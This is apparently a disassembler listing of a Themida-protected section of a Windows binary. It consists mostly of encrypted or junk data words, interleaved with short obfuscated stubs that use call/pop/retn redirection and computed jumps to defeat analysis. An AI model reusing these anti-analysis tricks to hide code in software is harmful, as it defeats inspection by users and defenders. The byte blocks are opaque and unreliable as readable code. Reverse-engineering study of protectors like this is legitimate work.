		dd 242C8900h, 0C581E589h, 4, 8704ED83h,	515C242Ch, 0C181E189h
		dd 4, 4E981h, 0C870000h, 14895C24h, 30946824h, 0C890000h
		dd 49476824h, 3C890000h, 340CBF24h, 0FA890612h,	4EC835Fh
		dd 81242489h, 42404h, 81590000h, 4ECh, 24148900h, 76243481h
		dd 8F4BDC28h, 71810841h, 0DC287608h, 240C8B4Bh,	81E38953h
		dd 4C3h, 4C38100h, 87000000h, 0FF5C241Ch, 815A2434h, 4C4h
		dd 4582E900h, 3D96FFFCh, 0FDCBA7FFh, 8020220Dh,	140F78B5h
; ---------------------------------------------------------------------------


loc_58CF28:				; CODE XREF: Themida_:loc_58CA03j
		mov	eax, 612388Ch
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0DAh, 0B9h, 0F4h
		dd 0E07BFC36h, 7EEA4769h, 606BC538h, 7DE38B3Eh,	8588725Fh
		dd 62B0FF11h, 52548270h, 227A052Ch, 60E6CE18h, 2035D67Bh
		dd 6035CE0Eh, 0EDC22140h, 0B5896020h, 60E33E5h,	6AC08Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0D00E5DC3h, 0E21BD83h, 7500060Eh, 0C5BD8309h, 60E0Fh
		dd 53501974h, 38B8C08Bh, 89000004h, 0E1D9D85h, 6C9D8D06h
		dd 0FF0610A8h, 83585BD3h, 0E0FC5BDh, 17740006h,	38B85350h
		dd 89000004h, 0E1D9D85h, 5B9D8D06h, 0FF0610A5h,	6A585BD3h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 40FCC353h, 8B663096h, 61B52BCBh, 8B060E0Fh
		dd 0C98166C0h, 68E8E230h, 6A000009h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0DD18C355h
		dd 518213DFh, 0F1BD8B4Bh, 89060E23h, 0E080185h,	9DB58B06h
		dd 0E8060E2Eh, 92Fh, 29ED8D29h,	8589060Eh, 60E2031h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 60C35747h, 8D8B7319h
		dd 60E1BBDh, 0F498D89h,	0F4E8060Eh, 6A000008h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 17B7C350h, 19658589h, 8589060Eh, 60E292Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 15C35545h, 8A9E8D9h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0A83DE9C3h, 5F8D3138h, 0F5166B35h, 7C18589h
		dd 6A060Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 15E72AC3h, 104F0CD7h, 0BF6657B1h,	0E85F0084h
		dd 84Fh, 0AE8h,	416E0300h, 3A93E901h, 0FCED73CDh, 85858959h
		dd 89060E24h, 0E1661BDh, 0E1816606h, 28E86160h,	29000008h
		dd 0E30F98Dh, 0CD858906h, 66060E0Dh, 14E8F28Bh,	6A000008h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0C4A8C355h, 465B27F6h, 9D89B3E8h,	60E13C1h
		dd 0D58589h, 0BF0F060Eh, 7DDE8F1h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 90A234C3h
		dd 6D68093Dh, 0F5F5D004h, 0CD58589h, 6A060Eh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 5C5D06C3h
		dd 0E99415D2h, 14h, 69FEB321h, 0C25789B0h, 0A439FC54h
		dd 0A352A0A2h, 0DD6E473Fh, 0C98D0956h, 59060E1Dh, 76AE8h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0E2CA339h, 936BA091h, 1945B503h,	8589060Eh
		dd 60E3099h, 0E8F1B70Fh, 733h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0BDC35747h,	0F80CD2DDh, 0DB1C9C4Eh
		dd 0D0DBD89h, 8589060Eh, 60E0079h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 15C35040h, 5858965h, 0E8060E08h
		dd 6DBh, 21D18166h, 0A18589ABh,	6A060E1Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 7539C352h
		dd 114EE8Eh, 62C0A646h,	6A6E8h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0F97D91F5h
		dd 177E178Dh, 19D58589h, 6A060Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 4B10A9C3h, 89E15977h
		dd 0E0C5D95h, 0FDB58B06h, 0F5060E1Dh, 64AE8h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0F6055D7h, 287h, 89FB8B00h, 0E183D85h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 0EF85B2F8h, 8131E475h, 6890F8Bh, 8B000000h, 0E09E58Dh
		dd 9E906h, 38620000h, 3EAA478Bh, 0E8AB5AD4h, 5DBh, 17BD8D89h
		dd 8952060Eh, 0E33C985h, 85895E06h, 60E1A65h, 622228BFh
		dd 5BDE859h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 18AE43C3h, 858973FBh, 60E1915h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A0C35747h
		dd 576E8h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 1EA7DCCEh, 46FBDD1Ch, 8589C88Bh
		dd 60E1889h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0D1C35141h, 0D6C50C3h, 0D72E09BBh, 20F7CE81h, 0B05F99h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 25C35242h
		dd 1E2A74EBh, 0E9FA8B29h, 7, 7A608BC3h,	0F849073h, 6AD8B6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 8083E8C3h, 22DDB589h, 6BA060Eh, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0DA61C353h, 53D8FCE5h, 0E3DC2A42h, 6AC38Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 3FE696C3h, 60F909A0h, 722DEA81h, 85896EF5h, 60E31B9h
		dd 4E8C161h, 11E9h, 4EB1A800h, 0DFBE761Bh, 5808DB4Ah, 8E8909DCh
		dd 0F76668BAh, 50006AE2h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0D82BBC76h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0F7C35747h, 88C1849Ah
		dd 0A44DBC81h, 52509376h, 310FF18Bh, 12E9h, 7314F000h
		dd 3D758E8Ah, 2EC1B25Ch, 1A07FADFh, 5A9FA0C5h, 6A935058h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 216DC356h, 497EF191h, 2F61BD89h, 95FF060Eh
		dd 60E1689h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	87C35141h, 0E8AF1159h, 6A5BFC52h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8161C357h
		dd 39C2DCD6h, 8D958D4Fh, 6A060E31h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8936C350h
		dd 0E17A995h, 0CE816006h, 4D63BC13h, 1B7D9D8Bh,	8961060Eh
		dd 51006A1Ah, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0D19D8953h, 89060E30h, 6A0442h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0DCD3B3C3h, 0FF0351BFh, 0B5896011h, 60E1981h, 0C5958D61h
		dd 6A060E24h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0A1B0C357h, 38E64948h,	0E9EDBAB9h
		dd 0F1A891Eh, 886h, 0B58B5100h,	60E31EDh, 4428959h, 14E9h
		dd 498E5600h, 0BC435CFCh, 0BFE32B37h, 0A12949D5h, 0FF670B07h
		dd 65958DA1h, 6A060E0Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 5377C355h, 88F3C493h
		dd 0AA5C9513h, 89F98B66h, 53006A1Ah, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 89AE3E24h
		dd 6A0442h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0E60869C3h
		dd 0B1F78166h, 0C5958DCAh, 29060E2Eh, 0E023985h, 8B1A8906h
		dd 0E0B1DB5h, 4428906h,	8DFA8B66h, 0E0D5195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 899D095Ch, 89060E1Ah, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 7161527Eh, 10E8FCh, 32EB0000h
		dd 4F99D278h, 529DACC7h, 0BAD1411Eh, 11E832A1h,	0D0000000h
		dd 1419FBCEh, 0AC8264EAh, 570C5FCEh, 849AF7EFh,	5E5962B1h
		dd 89044289h, 0E2D658Dh, 11958D06h, 6A060E0Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0E9FFC352h, 8, 13BBFF21h, 0B6FD2BEh,	6A1A89h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 36D48AC3h, 608250F9h, 6850FCBh, 31000000h, 0E2C4585h
		dd 0BE906h, 0DDC70000h,	0C5D42F64h, 0DBC60F3Ah,	4428984h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9C35747h
		dd 0B70FF033h, 0ED8D09CBh, 8D060E33h, 0E1BE595h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 8FC55391h, 0B58B06C8h, 60E314Dh, 6A1A89h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 81664CC3h
		dd 898CA2C9h, 6A0442h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0A87921C3h, 89976B14h, 0E07E9BDh
		dd 0E5958D06h, 6A060E29h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0BB97C357h,	27C2F04Bh
		dd 0D932F227h, 89CB8B66h, 55006A1Ah, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 85781BC8h
		dd 0F847457Dh, 60044289h, 0B05B58Bh, 0DE9060Eh,	0DC000000h
		dd 213033C9h, 7B00CFFEh, 0BDB95495h, 0BCE961h, 6AF50000h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0F5DFAF9Eh, 66C57325h, 6AA1C7BFh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0B966B76Eh, 6A8FBAh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 87C35343h, 0C18A4C4Bh, 0F859856h, 128Eh
		dd 0DE900h, 850E0000h, 0CA724C33h, 0BC69122Eh, 6AEFDE15h
		dd 0FFFCF500h, 0E1B7195h, 21952906h, 0C3060E1Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7AC35040h, 0D01A9835h
		dd 0C58A5FECh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	21C35242h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 7F4C0EC3h, 0D1B58B2Fh
		dd 83060E09h, 0E0E21BDh, 9750006h, 0FC5BD83h, 7400060Eh
		dd 8B535019h, 438B8C0h,	85890000h, 60E15C5h, 0A8D39D8Dh
		dd 0D3FF0610h, 0BD83585Bh, 60E0FC5h, 50177400h,	438B853h
		dd 85890000h, 60E15C5h,	0A5749D8Dh, 0D3FF0610h,	8D31585Bh
		dd 60E1001h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	79C35242h, 423883A0h, 8B1FB5D1h, 0C1858DC0h, 8B060E19h
		dd 0E03019Dh, 8B669006h, 8B5650D8h, 6A905BDFh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 3115C356h, 0B9BD8B53h, 5B060E33h, 11E9h, 10013600h
		dd 0ACD05A53h, 23256574h, 545175CAh, 2B52BAC5h,	0E3145BDh
		dd 6A5F06h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Ch,	8BC35040h, 8DCC32D7h, 6AFD56CCh, 5B5B5153h, 858D006Ah
		dd 61246F8h, 341DBD8Bh,	0C083060Eh, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0F529C55Dh
		dd 0DF8B6690h, 0EFBB6650h, 6A9053h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0F37715C3h
		dd 0D44A1EEDh, 0F19D3376h, 89060E21h, 0E07BD8Dh, 8A006A06h
		dd 6A006AD8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 9498C355h, 6CD88F55h, 182F78D5h
		dd 1FC78166h, 0E195FFFBh, 6A060E2Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 973C356h
		dd 8D8D52F6h, 611924Bh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 1FC35646h, 9EF21B4Ah,	58C49AB7h, 13E8h
		dd 52213C00h, 6D024D7Ah, 0D1B81666h, 0EB50D833h, 0BC5FFE31h
		dd 33C5B589h, 0FF5F060Eh, 50006AD1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 11870F7Ah
		dd 0E9000000h, 0Ch, 283321FFh, 813C2E0Ch, 2A8864E8h, 0D79BD83h
		dd 0F01060Eh, 3F85h, 6870F00h, 0B000000h, 0E04B99Dh, 0E9026A06h
		dd 0Dh,	0BFBACFD8h, 89021162h, 0AE9646F1h, 6E95095h, 7B000000h
		dd 0C34E6944h, 24048967h, 33DBD8Bh, 95FF060Eh, 60E1E49h
		dd 0F8B70FF8h, 0DAEE9h,	0E800h,	815D0000h, 124702EDh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0CBD04FCCh, 28D6D084h, 6E8B9h, 0CFEA0000h, 8B3483BCh
		dd 5FDF8B66h, 0EE9h, 44C77700h,	0F76E4185h, 4DB61353h
		dd 8DC00186h, 11840585h, 6800F06h, 89000000h, 0E0CAD8Dh
		dd 11E95006h, 33000000h, 0A4D7FD45h, 0F1237AB0h, 4B02ED8h
		dd 0F1363CF5h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 43EDC351h, 10E99Fh
		dd 0C23D0000h, 0D0D137B2h, 3E10365Dh, 0CB45A9E2h, 0FF647A5Bh
		dd 35h,	51006A00h, 3E8h, 0C3592000h, 244C8959h,	24448104h
		dd 1704h, 0C3514100h, 45D8AE03h, 0C3DB8166h, 25896455h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_58DDE7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DDE7	proc near		; CODE XREF: Themida_:0058DDDFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_58DDE7	endp

; ---------------------------------------------------------------------------
		std
		mov	al, ds:23B05527h
		mov	ebp, 60E1C81h
		inc	dword ptr [ebp+60E1475h]
		push	0
		push	ecx
		call	sub_58DE13
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58DE13	proc near		; CODE XREF: Themida_:0058DE0Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_58DE13	endp

; ---------------------------------------------------------------------------
		db 0D1h
		dd 0FE7BD3E0h, 0E9406561h, 0Eh,	7FAFBE46h, 0C69E7368h
		dd 0D31BF1A4h, 0BD8B8144h, 60E0775h, 6AFF6Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 94DA5C3h
		dd 0E1DB5B5h, 1B5FF06h,	6A060E08h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0B482C353h
		dd 5B32B41Bh, 0F88B6663h, 2F8195FFh, 33E9060Eh,	8B000001h
		dd 0E2F059Dh, 8900B006h, 0E34818Dh, 970E606h, 0E0EC595h
		dd 0E971E406h, 0Bh, 802F507Ch, 73CE58EAh, 3C0D4CA4h, 3830F61h
		dd 29000001h, 0E1F399Dh, 0C8B60F06h, 1A619D89h,	6BA060Eh
		dd 0E9000000h, 13h, 0EFCDFE2Fh,	0EC022EDh, 4FAB25DDh, 0C05436B9h
		dd 8BD22A40h, 6810FC1h,	9000000h, 0E2ED9B5h, 4E8C106h
		dd 0E758D89h, 0F766060Eh, 3870FE2h, 66000000h, 0C82BD98Bh
		dd 6820Fh, 0BD890000h, 60E0D89h, 2C6D8D29h, 0D18B060Eh
		dd 31F19D8Bh, 6E9060Eh,	8B000000h, 0E25459Dh, 8D858B06h
		dd 80060E31h, 0C08380CFh, 0EE807h, 61020000h, 4BB4B241h
		dd 3B36367Bh, 0B80495ABh, 5E8h,	0EBC4CB00h, 0BF0F2F35h
		dd 835F5BF9h, 295300C0h, 0E0AC18Dh, 0D03B5F06h,	11830Fh
		dd 85090000h, 60E351Dh,	41E9h, 55850100h, 8B060E1Bh, 0E31718Dh
		dd 0D8D3106h, 83060E19h, 840F01E1h, 26h, 2ABD9D8Bh, 0A583060Eh
		dd 60E3171h, 6800FFEh, 89000000h, 0E23F9B5h, 8D958906h
		dd 0B7060E31h, 0E9DFh, 0B58D0000h, 611B77Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 77C35646h, 0DA37E577h
		dd 0C8D0FDBh, 60000000h, 80CF9FBBh, 0B129BF7Fh,	6A615DFCh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 30515947h, 0FF86BE5Fh, 0E0F4595h, 2820F06h
		dd 8B000000h, 862B9DAh,	0F8570000h, 0FCE1835Fh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 8C35747h, 1A40D0FEh
		dd 0B723FA8h, 0FC8BB7A0h, 0E899D8Bh, 0B8060Eh, 9000000h
		dd 0E0FD595h, 80D22B06h, 33ADD6F3h, 3E8D1C2h, 4E983D0h
		dd 9529F475h, 60E2A29h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0B8C35545h, 0CE9C8h, 0D5770000h, 0DC266D1h
		dd 0A0CCF7C1h, 0BD89C75Ch, 60E3415h, 880Dh, 0DE8B6600h
		dd 6E9h, 69C90200h, 8B778DD9h, 0E2FC595h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 6768B3ABh, 5E93C32h,	44000000h, 8C6CA16Ch, 8818D8Bh
		dd 9589060Eh, 60E1E0Dh,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0E960A2C3h, 0Ah,	8ACC01DAh, 97C8541h
		dd 81661969h, 614732D2h, 2BDA8B66h, 0E13E99Dh, 6DBD8306h
		dd 60E0Ch, 8F840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 140991C3h, 499ADAh, 0B8CFB635h
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+60E321Dh],	esi
		lea	ecx, [ebp+60E4DD1h]
		push	0
		push	edx
		call	sub_58E1B7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E1B7	proc near		; CODE XREF: Themida_:0058E1AFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_58E1B7	endp

; ---------------------------------------------------------------------------
		db 98h
		dd 66ECD01Ah, 3960C381h, 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0BA6306C3h, 47EE13EBh
		dd 0F388ED7h, 885h, 0EF815200h,	4BB5E724h, 0D9BD835Fh
		dd 60E28h, 441840Fh, 0BD8B0000h, 60E2379h, 28D9BD83h, 0F01060Eh
		dd 44984h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0BD8B8822h, 60E313Dh, 5E8h, 0EA474B00h
		dd 0B5892D95h, 60E1D2Dh, 0D9BD835Fh, 3060E28h, 3D2860Fh
		dd 0BD8B0000h, 60E34E9h, 6660B9B7h, 2DB7D98Ch, 6A04E180h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 6026C351h, 99B5890Fh, 0A060E29h, 0AC840FC9h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 6DD4C356h, 8BD7EF80h, 0E17F985h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 9C52DBE4h, 0BC9634E0h, 8533F88Bh, 60E1D1Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 94C35040h
		dd 1ED562DBh, 0EE9C9E2h, 0B000000h, 0C1661E31h,	0C091AE9Ah
		dd 0D3C5A67h, 489500Bh,	51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 7282FAC0h, 0CE950h, 9B60000h
		dd 0DEB772D3h, 1B920399h, 0BF0F73BAh, 6A006ADAh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0D64AC355h, 0FD8D09E2h, 60060E07h, 0DA3BA66h, 32C9B58Bh
		dd 6861060Eh, 0B4DACCCAh, 8E8h,	0A964E700h, 0B62F16C7h
		dd 0DE860C1h, 0E0000000h, 3411DCC0h, 0F59B0551h, 54BAE289h
		dd 61616059h, 2404815Bh, 4B443735h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0FEC35242h,	3DB9D473h, 0E859B9F8h
		dd 6, 6CC51EAEh, 8B66E030h, 0BD035BFBh,	60E0791h, 0ED595FFh
		dd 0CB81060Eh, 0E8F52B2h, 0A07B8589h, 6A0611h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 664992C3h, 0A0E9D88Bh, 0E8000001h, 0Eh, 19205129h, 0ECD9D6B3h
		dd 5007F0B6h, 81533200h, 275E1DF3h, 8B5F5F12h, 11A07385h
		dd 0EE906h, 4BE00000h, 0EB4C7A7h, 67A25589h, 39F7A4ECh
		dd 1800C7h, 89500000h, 0E0EAD85h, 0B58B5F06h, 611A077h
		dd 2D099D89h, 858B060Eh, 60E1435h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 48C35040h, 85891160h, 60E24E9h
		dd 85890689h, 60E2E4Dh,	17F9858Bh, 6A060Eh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 49311CC3h
		dd 18FD0CEDh, 89DFB70Fh, 0B70F0446h, 8B6696DBh,	0BF6650FBh
		dd 6A964D95h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 1C32C353h, 9AE9A691h, 2AF8F8C6h
		dd 2F75BD8Bh, 0B5FF060Eh, 611A073h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0E8C35646h,	29099D8Bh, 8B66060Eh
		dd 63B468DEh, 348112B0h, 0AF604B24h, 0BE912h, 10400000h
		dd 69B25458h, 0BFE6161Ch, 7B858DFEh, 0BB0611A0h, 464A0848h
		dd 8B665190h, 90505BF9h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ch, 80C35040h, 0C9A8B459h, 781F0257h, 0C18B6660h
		dd 8D3BF081h, 0FF61193Fh, 0E0ED595h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0C50EB80Dh
		dd 907BDD9Ch, 8166D5FCh, 61A4D8EBh, 22DD9589h, 85C7060Eh
		dd 60E28D9h, 3,	1850Fh,	83F90000h, 11A07BBDh, 840F0006h
		dd 40h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h
		dd 0B8C35646h, 0EE8h, 4EC6D800h, 0A90D9E2h, 0E68B091Eh
		dd 8B61755Ah, 0E1735BDh, 20E95F06h, 66000000h, 0D499F381h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0EF37C355h, 7CEEE6D7h, 49C781A8h,	8B791C2Eh
		dd 0E137DBDh, 0C4B0BB06h, 8589125Ch, 60E28B9h, 28D9BD83h
		dd 0F03060Eh, 3C985h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0BCBDE331h, 897D40E9h
		dd 0E23398Dh, 7BBD8306h, 611A0h, 394840Fh, 0D88B0000h
		dd 0A07BB5FFh, 6A0611h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0C512B2C3h, 50517968h, 51E088EAh
		dd 37E7BF66h, 995315Bh,	0FF060E35h, 0E08D595h, 0BE806h
		dd 6FE60000h, 6EF0E75Fh, 2EA93D70h, 5890F37h, 0BB000000h
		dd 69A02C22h, 6FB58B5Bh, 660611A0h, 6C7DF8Bh, 10001h, 7E9h
		dd 0EE580A00h, 37387EFEh, 24348950h, 16119529h,	0BB66060Eh
		dd 0B5FF93EDh, 611A07Bh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 4AC35040h, 9AA1887h, 0E08D18Dh, 1995FF06h
		dd 8B060E10h, 0E1BAD9Dh, 6FB58B06h, 6A0611A0h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0E4ADC353h, 0F02847A9h, 2FB436D9h, 13F19D8Bh, 0F88B060Eh
		dd 0A9858Bh, 0CE9060Eh,	0E0000000h, 10DC31B9h, 26883064h
		dd 893288BCh, 0C486h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8BC1712Ch, 0E2FC595h
		dd 6D958906h, 0E9060E2Fh, 0Eh, 0CA067250h, 4EBD957Ah, 0FD1850CFh
		dd 0C2833F8Ch, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 20060809h, 852960F5h
		dd 60E2D6Dh, 0B2E5AFBAh, 50896134h, 0C99D8B20h,	8D060E28h
		dd 11B41C85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0DFBF0FB0h, 0EEDBD8Bh, 8F0F060Eh
		dd 14h,	0FE9h, 0EED8B100h, 0EAE3A87Eh, 37A3CA39h, 86068638h
		dd 0B88689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 9896B8C3h, 811726C5h, 0EB082AD3h
		dd 0F006A25h, 0B5FFFABFh, 611A07Bh, 0C659D8Bh, 8166060Eh
		dd 0FF8758CFh, 0E1E4995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8939AB7Fh
		dd 0E1CEDB5h, 0F19D2906h, 50060E17h, 58D0F51h, 0BB000000h
		dd 2B15379Bh, 2434895Fh, 0A07BB5FFh, 0D98B0611h, 16D195FFh
		dd 6A060Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0CB1988C3h, 19787F3Fh, 18FBB1Bh, 0E1DE98Dh
